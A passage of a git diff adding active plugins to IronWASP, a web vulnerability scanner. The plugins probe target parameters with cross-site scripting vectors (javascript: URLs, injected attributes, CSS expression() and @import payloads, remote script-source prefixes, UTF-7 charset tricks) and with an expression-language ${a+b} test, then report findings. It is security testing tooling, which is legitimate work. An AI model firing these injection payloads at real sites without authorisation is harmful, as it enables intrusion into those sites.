except: + pass + return script_contexts + + def IsNormalVBString(self, res, keyword): + scripts = [] + if res.IsHtml: + scripts = res.Html.GetVisualBasic(keyword) + for script in scripts: + try: + script_contexts = [] + script_contexts.extend(CodeContext.GetVisualBasicContext(script, keyword)) + if script_contexts.count("NormalString"): + return True + except: + pass + return False + + def CheckForInjectionInUrlAttribute(self): + #Start the test + keyword = "yhstdjbz" + payload = "javascript:{0}".format(keyword) + + self.Scnr.Trace(">>Checking JS Injection in UrlAttribute Context:>") + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + + ua_res = self.Scnr.Inject(payload) + + res_details = " || Code - {0} | Length - {1}".format(str(ua_res.Code), str(ua_res.BodyLength)) + self.CheckResponseDetails(ua_res) + + if ua_res.BodyString.Contains(payload) or (ua_res.Headers.Has("Refresh") and ua_res.Headers.Get("Refresh").count(payload) > 0): + ua_inj_contexts = self.GetContext(keyword, ua_res) + if ua_inj_contexts.Contains("JSUrl"): + self.Scnr.ResponseTrace(">Got {0} in InLineJS context>{1}".format(keyword, res_details)) + self.AddToTriggers(payload, "The payload in this request attempts to inject the string '{0}' as executable code using the javascript: url format. The payload is {1}".format(keyword, payload), payload, "The string '{0}' from the payload is found as a JavaScript url in this response.".format(keyword)) + self.SetConfidence(3) + else: + self.Scnr.ResponseTrace("Got {0} in non-UrlAttribute context".format(payload)) + else: + #must check for the encoding here + self.Scnr.ResponseTrace("No reflection{0}".format(res_details)) + + + def CheckForInjectionInAttributeName(self): + #Start the test + self.Scnr.Trace(">>Checking for Injection in HTML AttributeName Context:>") + self.InjectAttribute(" olpqir=\"vtkir(1)\"","olpqir","vtkir(1)") + self.InjectAttribute(" olpqir='vtkir(1)'","olpqir","vtkir(1)") + + + def CheckForInjectionInSpecialAttributes(self): + self.Scnr.Trace(">>Checking for Injection in Special HTML Attributes:>") + + self.CheckForSameSiteScriptIncludeSetting() + + host = self.base_req.Host + #remove the port number from hostname + try: + if host.index(":") > 0: + host = host[:host.index(":")] + except: + pass + self.Scnr.Trace(">>Checking for Reflection inside Special HTML Attributes:>") + initial_payloads = [ "fpwzyqmc", "http://{0}.fpwzyqmc".format(host), "https://{0}.fpwzyqmc".format(host), "//{0}.fpwzyqmc".format(host)] + eligible = False + for i_p in initial_payloads: + self.Scnr.RequestTrace(" Injected {0} ==> ".format(i_p)) + res = self.Scnr.Inject(i_p) + if self.IsInSpecialAttribute(i_p, res): + eligible = True + self.Scnr.ResponseTrace(" Found reflection inside Special HTML Attributes") + break + else: + self.Scnr.ResponseTrace(" Not reflected inside Special HTML Attributes") + if not eligible: + self.Scnr.Trace("> No reflection found inside Special HTML Attributes") + return + + self.Scnr.Trace(">>Checking for Payload Injection inside Special HTML Attributes:>") + sign_str = "olxizrk" + self.injectable_special_tags = [] + self.injectable_special_attributes = [] + #prefixes taken from http://kotowicz.net/absolute/ + prefixes = [ "http://", "https://", "//", "http:\\\\", "https:\\\\", "\\\\", "/\\", "\\/", "\r//", "/ /", "http:", "https:", "http:/", "https:/", "http:////", "https:////", "://", ".:."] + all_tags_and_attrs = [] + for prefix in prefixes: + for ii in range(2): + if ii == 0: + payload = "{0}{1}".format(prefix, sign_str) + else: + payload = "{0}{1}.{2}".format(prefix, host, sign_str) + self.Scnr.RequestTrace(" Injected {0} ==> ".format(payload)) + res = self.Scnr.Inject(payload) + if self.IsInSpecialAttribute(payload, res): + all_tags_and_attrs = [] + for i in range(len(self.injectable_special_tags)): + all_tags_and_attrs.append(" {0}) >{1}> attribute of >{2}> tag".format(i + 1, self.injectable_special_tags[i], self.injectable_special_attributes[i])) + self.Scnr.ResponseTrace(">Got {0} inside the following Special HTML Attributes:>>{1}".format(payload, ">".join(all_tags_and_attrs))) + if self.injectable_special_tags.count("script") > 0: + self.AddToTriggers(payload, "The payload in this request is an absolute url pointing to an external domain. The payload is {0}".format(payload), payload, "The absolute url from the payload is found in the src attribute of SCRIPT tag in this response.") + self.SetConfidence(3) + self.Scnr.Trace(">>Able to set the source attribute of the Script tag to remote URL and include rogue JavaScript>") + elif self.injectable_special_tags.count("object") > 0: + self.AddToTriggers(payload, "The payload in this request is an absolute url pointing to an external domain. The payload is {0}".format(payload), payload, "The absolute url from the payload is found in the data attribute of OBJECT tag in this response.") + self.SetConfidence(3) + self.Scnr.Trace(">>Able to set the data attribute of the Object tag to remote URL and include rogue active components like SWF files>") + elif self.injectable_special_tags.count("embed") > 0: + self.AddToTriggers(payload, "The payload in this request is an absolute url pointing to an external domain. The payload is {0}".format(payload), payload, "The absolute url from the payload is found in the href attribute of EMBED tag in this response.") + self.SetConfidence(3) + self.Scnr.Trace(">>Able to set the href attribute of the Embed tag to remote URL and include rogue active components like SWF files>") + elif self.injectable_special_tags.count("link") > 0: + self.AddToTriggers(payload, "The payload in this request is an absolute url pointing to an external domain. The payload is {0}".format(payload), payload, "The absolute url from the payload is found in the href attribute of LINK tag in this response.") + self.SetConfidence(3) + self.Scnr.Trace(">>Able to set the href attribute of the Link tag to remote URL and include rogue CSS that can contain JavaScript>") + else: + self.ReportInjectionInSpecialAttributes(payload) + return + else: + res_details = " || Code - {0} | Length - {1}".format(res.Code, res.BodyLength) + self.Scnr.ResponseTrace("Did not get payload inside the Special HTML Attributes{0}".format(res_details)) + + def CheckForSameSiteScriptIncludeSetting(self): + scripts = [] + styles = [] + scripts_vuln = [] + styles_vuln = [] + if self.ps_res.IsHtml: + scripts = self.ps_res.Html.GetValues("script", "src") + styles = self.ps_res.Html.GetValues("link", "href") + for script in scripts: + if self.IsInUrlPath(script, self.ps): + scripts_vuln.append(script) + for style in styles: + if self.IsInUrlPath(style, self.ps): + styles_vuln.append(style) + if (len(scripts_vuln) + len(styles_vuln)) > 0: + self.Scnr.Trace(">>Able to influence the location of the in-domain JS/CSS inlcuded in the page.>") + self.ReportSameSiteScriptInclude(scripts_vuln, styles_vuln) + + def IsInUrlPath(self, url, keyword): + try: + full_url = "" + if url.startswith("http://") or url.startswith("https://"): + full_url = url + else: + full_url = "http://a/{0}".format(url) + r = Request(full_url) + if r.UrlPath.count(keyword) > 0: + return True + except: + pass + return False + + def IsInSpecialAttribute(self, keyword, res): + special_tags = [ "iframe", "frame", "script", "link", "object", "embed", "form", "button", "base", "a"] + special_attributes = [ "src", "src", "src", "href", "data", "src", "action", "formaction", "href", "href"] + + self.injectable_special_tags = [] + self.injectable_special_attributes = [] + + for i in range(len(special_tags)): + tag_name = special_tags[i] + tag_attr = special_attributes[i] + values = res.Html.GetValues(tag_name, tag_attr) + for value in values: + if value.startswith(keyword): + self.injectable_special_tags.append(tag_name) + self.injectable_special_attributes.append(tag_attr) + break + if len(self.injectable_special_tags) > 0: + return True + else: + return False + + def CheckForInjectionInSingleQuoteAttributeValue(self): + self.Scnr.Trace(">>Checking for Injection in HTML AttributeValue Context:>") + self.InjectAttribute(" \' olqpir=\"vtikr(1)\"","olqpir","vtikr(1)") + self.InjectAttribute(" \' olqpir=\'vtikr(1)\'","olqpir","vtikr(1)") + + def CheckForInjectionInDoubleQuoteAttributeValue(self): + self.Scnr.Trace(">>Checking for Injection in HTML AttributeValue Context:>") + self.InjectAttribute(" \" olqpir=\"vtikr(1)\"","olqpir","vtikr(1)") + self.InjectAttribute(" \" olqpir=\'vtikr(1)\'","olqpir","vtikr(1)") + #HtmlAgilityPack considers quote-less as Double-Quote + self.InjectAttribute(" olqpir=\"vtikr(1)\"","olqpir","vtikr(1)") + self.InjectAttribute(" olqpir=\'vtikr(1)\'","olqpir","vtikr(1)") + self.InjectAttribute("aa olqpir=\"vtikr(1)\"","olqpir","vtikr(1)") + self.InjectAttribute("aa olqpir=\'vtikr(1)\'","olqpir","vtikr(1)") + + def InjectAttribute(self, Payload, AttrName, AttrValue): + #Start the test + self.Scnr.RequestTrace(" Injected {0} - ".format(Payload)) + + at_res = self.Scnr.Inject(Payload) + res_details = " || Code - {0} | Length - {1}".format(str(at_res.Code), str(at_res.BodyLength)) + self.CheckResponseDetails(at_res) + + name_contexts = self.GetContext(AttrName, at_res) + value_contexts = self.GetContext(AttrValue, at_res) + if(name_contexts.Contains("AttributeName") and (value_contexts.Contains("AttributeValueWithSingleQuote") or value_contexts.Contains("AttributeValueWithDoubleQuote"))): + self.Scnr.ResponseTrace(">Got {0} as AttributeName and {1} as AttributeValue>{2}".format(AttrName, AttrValue, res_details)) + self.AddToTriggers(Payload, "The payload in this request tries to inject an attribute with name '{0}' and value '{1}' inside an HTML tag. The payload is {2}".format(AttrName, AttrValue, Payload), Payload, "This response contains an attribute with name '{0}' and value '{1}' inside an HTML tag. This was inserted by the payload.".format(AttrName, AttrValue)) + self.SetConfidence(3) + elif(at_res.BodyString.Contains(Payload)): + self.Scnr.ResponseTrace("Got {0} outside of AttributeName and AttributeValue context{1}".format(Payload, res_details)) + else: + self.Scnr.ResponseTrace("No useful reflection{0}".format(res_details)) + + + def CheckForInjectionInCSSInsideStyleAttribute(self): + self.CheckForInjectionInCSS(True) + + def CheckForInjectionInFullCSS(self): + self.CheckForInjectionInCSS(False) + + def CheckForInjectionInCSS(self, InStyleAttribute): + css_contexts = self.GetCssContexts(self.ps, self.ps_res) + for context in css_contexts: + self.CheckForInjectionInCSSContext(context, InStyleAttribute) + + def GetCssContexts(self, keyword, res): + css_contexts = [] + contaminated_css = [] + if res.IsHtml: + contaminated_css = res.Html.GetCss(keyword, True) + elif res.IsCss: + contaminated_css.append(res.BodyString) + for css in contaminated_css: + try: + css_contexts.extend(IronCss.GetContext(css, keyword)) + except: + pass + css_contexts = list(set(css_contexts)) + return css_contexts + + def CheckForInjectionInCSSContext(self, css_context, InStyleAttribute): + payload = "" + url_special_payloads = [] + jsurl_special_payloads = [] + js_special_payloads = [] + quote = "" + + context_parts = css_context.split("-") + # + #CSS Value contexts + # + if context_parts[0] == "Value": + quote = context_parts[3] + if context_parts[1] == "Normal" or context_parts[1] == "OnlyNormal": + payload = "aa;} aa {aa:aa" + jsurl_special_payloads.append("aa; background-image: url(); aa:aa") + js_special_payloads.append("aa; aa: expression(''); aa:aa") + js_special_payloads.append('aa; aa: expression(""); aa:aa') + if context_parts[1] == "OnlyNormal": + if context_parts[2] == "Full": + js_special_payloads.append("expression('')") + elif context_parts[2] == "Start": + js_special_payloads.append("expression(''); aa:") + elif context_parts[1] == "JS": + #report as xss + pass + elif context_parts[1] == "Url": + payload = "aa);} aa {aa:url(aa" + jsurl_special_payloads.append("aa); background-image: url(); aa:url(aa") + js_special_payloads.append("aa); aa: expression(''); aa:url(aa") + js_special_payloads.append('aa); aa: expression(""); aa:url(aa') + if context_parts[2] == "Start" or context_parts[2] == "Full": + jsurl_special_payloads.append("") + # + #CSS Propery contexts + # + elif context_parts[0] == "Property": + payload = "aa:aa} aa {aa" + if context_parts[1] == "Start" or context_parts[1] == "Full": + jsurl_special_payloads.append("background-image:url(); aa") + js_special_payloads.append("aa:expression(''); aa") + js_special_payloads.append('aa:expression(""); aa') + # + #CSS Ident contexts + # + elif context_parts[0] == "Ident": + if context_parts[1] == "Ident": + payload = "aa {x:x} @aa" + if context_parts[2] == "Start" or context_parts[2] == "Full": + url_special_payloads.append("import ''; @a") + url_special_payloads.append('import ""; @a') + jsurl_special_payloads.append("import ''; @a") + jsurl_special_payloads.append('import ""; @a') + elif context_parts[1] == "MediaValue": + payload = "aa {x {x:x}} @media aa" + # + #CSS Import contexts + # + elif context_parts[0] == "Import": + quote = context_parts[3] + if context_parts[1] == "Raw": + payload = "aa; @import aa" + if context_parts[2] == "Start" or context_parts[2] == "Full": + url_special_payloads.append("") + jsurl_special_payloads.append("") + #report as xss + elif context_parts[1] == "Url": + payload = "aa); @import url(aa" + if context_parts[2] == "Start" or context_parts[2] == "Full": + url_special_payloads.append("") + jsurl_special_payloads.append("") + #report as xss + elif context_parts[1] == "RawJS": + #report as xss + pass + elif context_parts[1] == "UrlJS": + #report as xss + pass + pass + # + #CSS Selector contexts + # + elif context_parts[0] == "Selector": + if context_parts[1] == "Normal": + if context_parts[2] == "Start" or context_parts[2] == "Full": + payload = " aa" + else: + payload = "aa {aa:aa} aa" + elif context_parts[1] == "Round": + payload = "aa) {aa:aa} aa(aa" + elif context_parts[1] == "SquareKey": + payload = "aa=aa] {aa:aa} aa[aa" + elif context_parts[1] == "SquareValue": + payload = "aa] {aa:aa} aa[aa=aa" + # + #CSS Comment contexts + # + elif context_parts[0] == "Comment": + payload = "*/ /*" + + payload = self.InsertCssQuotes(quote, payload) + + url_vectors = ["@import '//iczpbtsq';", '@import "//iczpbtsq";', "@import url(//iczpbtsq);"] + js_vectors = ["@import 'javascript:\"iczpbtsq\"';", '@import "javascript:\'iczpbtsq\'";'] + js_vectors.extend(["@import url(javascript:'iczpbtsq');", '@import url(javascript:"iczpbtsq");']) + js_vectors.extend(["x {x:expression('iczpbtsq')}", 'x {x:expression("iczpbtsq")}']) + js_vectors.extend(["x {background-image:url(javascript:'iczpbtsq')}", 'x {background-image:url(javascript:"iczpbtsq")}']) + + url_special_payloads = list(set(url_special_payloads)) + jsurl_special_payloads = list(set(jsurl_special_payloads)) + js_special_payloads = list(set(js_special_payloads)) + + for spl_payload in jsurl_special_payloads: + current_payload = spl_payload.replace("", "javascript:'iczpbtsq'") + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "iczpbtsq", "js") + current_payload = spl_payload.replace("", 'javascript:"iczpbtsq"') + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "iczpbtsq", "js") + + for spl_payload in js_special_payloads: + current_payload = spl_payload.replace("", "iczpbtsq") + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "iczpbtsq", "js") + + for spl_payload in url_special_payloads: + current_payload = spl_payload.replace("", "//iczpbtsq") + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "//iczpbtsq", "url") + + for vector in url_vectors: + current_payload = payload.replace("", vector) + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "//iczpbtsq", "url") + for vector in js_vectors: + current_payload = payload.replace("", vector) + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "iczpbtsq", "js") + + def IsCssPayloadAllowed(self, InStyleAttribute, payload): + if payload.count("{") > 0 or payload.count("}") > 0: + if InStyleAttribute: + return False + return True + + def InjectAndCheckCss(self, payload, keyword, url_or_js): + self.Scnr.RequestTrace("Injecting {0} - ".format(payload)) + res = self.Scnr.Inject(payload) + if self.IsReqCssContext(res, keyword, url_or_js): + self.Scnr.ResponseTrace(">XSS inside CSS successful!>") + self.AddToTriggers(payload, "The payload in this request tries to insert the string '{0}' as executable JavaScript code inside CSS. The payload is {1}".format(keyword, payload), keyword, "The string '{0}' from the payload is found inside the CSS section of this response and it's exact position inside the CSS can lead to it being executed as JavaScript.".format(keyword)) + self.SetConfidence(3) + else: + self.Scnr.ResponseTrace("Not in interesting CSS context") + + + def IsReqCssContext(self, res, keyword, url_or_js): + contexts = self.GetCssContexts(keyword, res) + for context in contexts: + context_parts = context.split("-") + + if context_parts[0] == "Value": + if context_parts[1] == "JS": + if url_or_js == "js": + return True + elif context_parts[1] == "Url": + if url_or_js == "url": + return True + elif context_parts[0] == "Import": + if context_parts[1] == "Raw" or context_parts[1] == "Url": + if context_parts[2] == "Start" or context_parts[2] == "Full": + if url_or_js == "url": + return True + elif context_parts[1] == "RawJS" or context_parts[1] == "UrlJS": + if url_or_js == "js": + return True + return False + + def InsertCssQuotes(self, quote, payload): + if quote == "Double": + return payload.replace("",'"') + elif quote == "Single": + return payload.replace("","'") + else: + return payload.replace("","") + + def CheckForCrossSiteCookieSetting(self): + meta_set_cookies = self.ps_res.Html.GetMetaContent("http-equiv", "set-cookie") + header_set_cookies = [] + if self.ps_res.Headers.Has("Set-Cookie"): + header_set_cookies = self.ps_res.Headers.GetAll("Set-Cookie") + + meta_csc = False + header_csc = False + + for i in range(2): + if i ==0: + set_cookies = meta_set_cookies + else: + set_cookies = header_set_cookies + for set_cookie in set_cookies: + if set_cookie.lower().count(self.ps) > 0: + if i == 0: + meta_csc = True + self.Scnr.Trace(">>Injected ProbeString '{0}' is reflected inside Set-Cookie HTTP-EQUIV Meta Tag. Allows Cross-site Cookie Setting!>".format(self.ps)) + else: + header_csc = True + self.Scnr.Trace(">>Injected ProbeString '{0}' is reflected inside Set-Cookie Header. Allows Cross-site Cookie Setting!>".format(self.ps)) + break + if meta_csc or header_csc: + self.ReportCrossSiteCookieSetting(meta_csc, header_csc) + + def CheckCharsetSecurity(self): + + if not self.base_res.IsCharsetSet: + self.ReportCharsetNotSet() + + self.Scnr.Trace(">>Checking for Charset Manipulation:>") + + charsets = ["UTF-8", "UTF-7"] + inj_req = [] + inj_res = [] + payloads = [] + match_count = 0 + for charset in charsets: + self.Scnr.RequestTrace(" Injected {0} - ".format(charset)) + res = self.Scnr.Inject(charset) + inj_req.append(self.Scnr.InjectedRequest) + inj_res.append(res) + payloads.append(charset) + if res.BodyEncoding == charset: + match_count = match_count + 1 + self.Scnr.ResponseTrace(">Response Charset matches injected value - {0}>".format(charset)) + else: + self.Scnr.ResponseTrace("Response Charset is {0} and does not match the injected value".format(res.BodyEncoding)) + if match_count == 2: + self.Scnr.Trace(">It is possible to manipulate the response Charset!!>") + self.ReportCharsetManipulation(inj_req, inj_res, payloads) + else: + self.Scnr.Trace("Charset manipulation was not successful") + + #css,js,html,attributes,attribute,unknown + def GetContext(self, InjectedValue, Res): + contexts_list = [] + if Res.Headers.Has("Refresh"): + refresh_header = Res.Headers.Get("Refresh").strip() + rh_parts = refresh_header.split(";", 1) + if len(rh_parts) == 2: + rh_url = rh_parts[1].lower().strip().lstrip("url=").strip().strip("'").strip('"') + if rh_url.count(InjectedValue.lower()) > 0: + contexts_list.append("UrlAttribute") + if(Res.IsHtml): + contexts_list.extend(Res.Html.GetContext(InjectedValue)) + elif(Res.IsCss): + contexts_list.append("CSS") + elif(Res.IsJavaScript or Res.IsJson): + contexts_list.append("JS") + else: + contexts_list.append("Unknown") + return contexts_list + + + def ReportCSSTestLead(self): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "XSS Plugin found reflection in CSS" + PR.Summary = "Data injected in to the '{0}' parameter of the {1} is being reflected back as part of CSS. Manually check this for XSS.".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection) + PR.Triggers.Add(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps_req, self.ps, "The injected payload is found inside the CSS section of this response.", self.ps_res) + PR.Type = FindingType.TestLead + self.Scnr.AddFinding(PR) + + def ReportJSTestLead(self): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "XSS Plugin found reflection in JavaScript" + PR.Summary = "Data injected in to the '{0}' parameter of the {1} is being reflected back inside JavaScript. Manually check this for XSS.".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection) + PR.Triggers.Add(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps_req, self.ps, "The injected payload is found inside the JavaScript code section of this response.", self.ps_res) + PR.Type = FindingType.TestLead + self.Scnr.AddFinding(PR) + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.Scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.Scnr.InjectionResponse.GetClone()) + + def AddToTriggersWithProbeStringInjection(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.ps_req) + self.TriggerResponses.append(self.ps_res) + + def SetConfidence(self, NewConfidence): + if NewConfidence > self.Confidence: + self.Confidence = NewConfidence + + def CheckResponseDetails(self, res): + if self.Scnr.InjectedSection == "URL" and self.ps_res.Code == 404: + return + if self.ps_res.Code != res.Code: + self.Scnr.SetTraceTitle("Injection Response Code varies from baseline", 2) + elif self.ps_res.BodyLength + res.BodyLength > 0: + diff_percent = (res.BodyLength * 1.0)/((self.ps_res.BodyLength + res.BodyLength)* 1.0) + if(diff_percent > 0.6 or diff_percent < 0.4): + self.Scnr.SetTraceTitle("Injection Response Length varies from baseline", 1) + + def ReportInjectionInSpecialAttributes(self, payload): + all_tags_and_attrs = [] + for i in range(len(self.injectable_special_tags)): + all_tags_and_attrs.append(" {0}) >{1}> attribute of >{2}> tag".format(i + 1, self.injectable_special_tags[i], self.injectable_special_attributes[i])) + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "Scriptless HTML Injection" + PR.Summary = "Scriptless HTML Injection has been detected in the '{0}' parameter of the {1} section of the request.>It is possible to inject a remote URL in to the following sensitive HTML attributes:>{2}".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection, ">".join(all_tags_and_attrs)) + PR.Triggers.Add(payload, "The payload in this request contains an absolute url. The payload is {0}".format(payload), self.Scnr.InjectedRequest, payload, "The absolute url from the injected payload has been found inside some sensitive attributes in the HTML in this response", self.Scnr.InjectionResponse) + PR.Severity = FindingSeverity.High + PR.Confidence = FindingConfidence.High + self.Scnr.SetTraceTitle("Scriptless HTML Injection Found", 100) + self.Scnr.AddFinding(PR) + + def ReportCrossSiteCookieSetting(self, meta_csc, header_csc): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "Cross-site Cookie Setting" + if meta_csc and header_csc: + context = "META HTTP-EQUIV Set-Cookie tag and Set-Cookie header" + elif meta_csc: + context = "META HTTP-EQUIV Set-Cookie tag" + else: + context = "Set-Cookie header" + PR.Summary = "Cross-site Cookie Setting has been detected in the '{0}' parameter of the {1} section of the request. The value of this parameter is returned in the {2}".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection, context) + PR.Triggers.Add(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps_req, self.ps, "The random string from the payload has been found in the {0} of this response".format(context), self.ps_res) + PR.Severity = FindingSeverity.Medium + PR.Confidence = FindingConfidence.Medium + self.Scnr.SetTraceTitle("Cross-site Cookie Setting", 50) + self.Scnr.AddFinding(PR) + + def ReportCharsetNotSet(self): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "Charset Not Set By Server" + PR.Summary = "The Charset of the response content is not explicitly set by the server. Lack of charset can cause the browser to guess the encoding type and this could lead to Cross-site Scripting by encoding the payload in encoding types like UTF-7." + PR.Triggers.Add("", "", self.base_req, "", "This response does not have an explicit declaration for what character encoding is used in it.", self.base_res) + PR.Severity = FindingSeverity.Medium + PR.Confidence = FindingConfidence.Medium + self.Scnr.SetTraceTitle("Charset Missing", 50) + self.Scnr.AddFinding(PR) + + def ReportCharsetManipulation(self, inj_req, inj_res, payloads): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "Charset Manipulation Possible" + PR.Summary = "Charset Manipulation Possible has been detected in the '{0}' parameter of the {1} section of the request.>It is possible to set the charset of the response body to any desired encoding type.".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection) + for i in range(len(payloads)): + PR.Triggers.Add(payloads[i], "The payload in this request is the name of character encoding type - {0}".format(payloads[i]), inj_req[i], payloads[i], "The character encoding of this response is set as {0}. This is caused by the payload.".format(payloads[i]), inj_res[i]) + PR.Severity = FindingSeverity.Medium + PR.Confidence = FindingConfidence.High + self.Scnr.SetTraceTitle("Charset Manipulation", 50) + self.Scnr.AddFinding(PR) + + def ReportSameSiteScriptInclude(self, scripts_vuln, styles_vuln): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + all_vuln = [] + all_vuln.extend(scripts_vuln) + all_vuln.extend(styles_vuln) + scope = "" + if len(scripts_vuln) > 0 and len(styles_vuln) > 0: + scope = "JS and CSS" + elif len(scripts_vuln) > 0: + scope = "JS" + else: + scope = "CSS" + PR.Title = "In-domain {0} Inclusion".format(scope) + PR.Summary = "In-domain {0} Inclusion has been detected in the '{1}' parameter of the {2} section of the request.>It is possible to set the location of {3} source URL to a resource within the same domain. If user's are allowed to upload text files on to this domain then an attacker can upload script as a regular text file and execute it using this vulnerability.".format(scope, self.Scnr.InjectedParameter, self.Scnr.InjectedSection, scope) + PR.Triggers.Add(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps_req, "\r\n".join(all_vuln), "The random string from the payload has been found in the src attribute of tags loading {0} files.".format(scope), self.ps_res) + PR.Severity = FindingSeverity.Medium + PR.Confidence = FindingConfidence.High + self.Scnr.SetTraceTitle("In-domain {0} Inclusion".format(scope), 50) + self.Scnr.AddFinding(PR) + + def AnalyseResults(self): + if(len(self.RequestTriggers) > 0): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "Cross-site Scripting Detected" + PR.Summary = "Cross-site Scripting has been detected in the '{0}' parameter of the {1} section of the request".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection) + for i in range(len(self.RequestTriggers)): + PR.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + PR.Type = FindingType.Vulnerability + PR.Severity = FindingSeverity.High + if self.Confidence == 3: + PR.Confidence = FindingConfidence.High + elif self.Confidence == 2: + PR.Confidence = FindingConfidence.Medium + else: + PR.Confidence = FindingConfidence.Low + self.Scnr.AddFinding(PR) + self.Scnr.SetTraceTitle("XSS Found", 100) + +p = CrossSiteScripting() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/ExpressionLanguageInjection.py b/plugins/active/ExpressionLanguageInjection.py new file mode 100644 index 0000000..f8eec30 --- /dev/null +++ b/plugins/active/ExpressionLanguageInjection.py @@ -0,0 +1,120 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license + +from IronWASP import * +import re + + +class ExpressionLanguageInjection(ActivePlugin): + + + def GetInstance(self): + p = ExpressionLanguageInjection() + p.Name = 'Expression Language Injection' + p.Description = 'Active plugin to check for Expression Language injection' + p.Version = '0.1' + return p + + + def Check(self, scnr): + self.scnr = scnr + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.CheckForELI() + self.AnalyzeTestResult() + + + def CheckForELI(self): + self.scnr.Trace(">>Checking for Expression Langugage Injection:>") + for i in range(2): + add_num_1 = 0 + add_num_2 = 0 + base_res = self.scnr.BaseResponse + found_rand_nums = False + while(not found_rand_nums): + add_num_1 = Tools.GetRandomNumber(1000000, 10000000) + add_num_2 = Tools.GetRandomNumber(1000000, 10000000) + if base_res.BodyString.count(str(add_num_1 + add_num_2)) == 0: + found_rand_nums = True + + add_str = "{0}+{1}".format(str(add_num_1), str(add_num_2)) + added_str = str(add_num_1 + add_num_2) + + payload = "${{{0}}}".format(add_str) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if res.BodyString.count(added_str) > 0: + if i == 0: + self.scnr.ResponseTrace(" ==> >Got {0} in the response, this is the result of executing '{1}'. Rechecking to confirm.>".format(added_str, add_str)) + continue + else: + self.scnr.ResponseTrace(" ==> >Got {0} in the response, this is the result of executing '{1}'. Indicates Expression Language Injection!>".format(added_str, add_str)) + self.scnr.SetTraceTitle("Expression Language Injection", 5) + self.AddToTriggers(payload, "The payload in this request contains a Expression Language snippet which if executed will add the numbers {0} & {1} and print the result. The Expression Language snippet is: {2}".format(add_num_1, add_num_2, payload), added_str, "This response contains the value {0} which is the sum of the numbers {1} & {2} which were sent in the request.".format(add_num_1 + add_num_2, add_num_1, add_num_2)) + reason = self.GetEchoReason(payload, payload, add_num_1, add_num_2) + self.reasons.append(reason) + return + else: + if i == 0: + self.scnr.ResponseTrace(" ==> Did not get {0} in the response".format(added_str)) + self.scnr.Trace(">No indication for presence of Expression Language Injection") + break + else: + self.scnr.ResponseTrace(" ==> Did not get {0} in the response. The last instance might have been a false trigger.".format(added_str)) + self.scnr.Trace(">No indication for presence of Expression Language Injection") + + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.scnr.InjectionResponse.GetClone()) + self.TriggerCount = self.TriggerCount + 1 + + def AnalyzeTestResult(self): + if len(self.RequestTriggers) > 0: + self.ReportELInjection(FindingConfidence.Medium) + + def ReportELInjection(self, confidence): + self.scnr.SetTraceTitle("Expression Language Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Expression Language Injection Found" + pr.Summary = "Expression Language Injection been detected in the '{0}' parameter of the {1} section of the 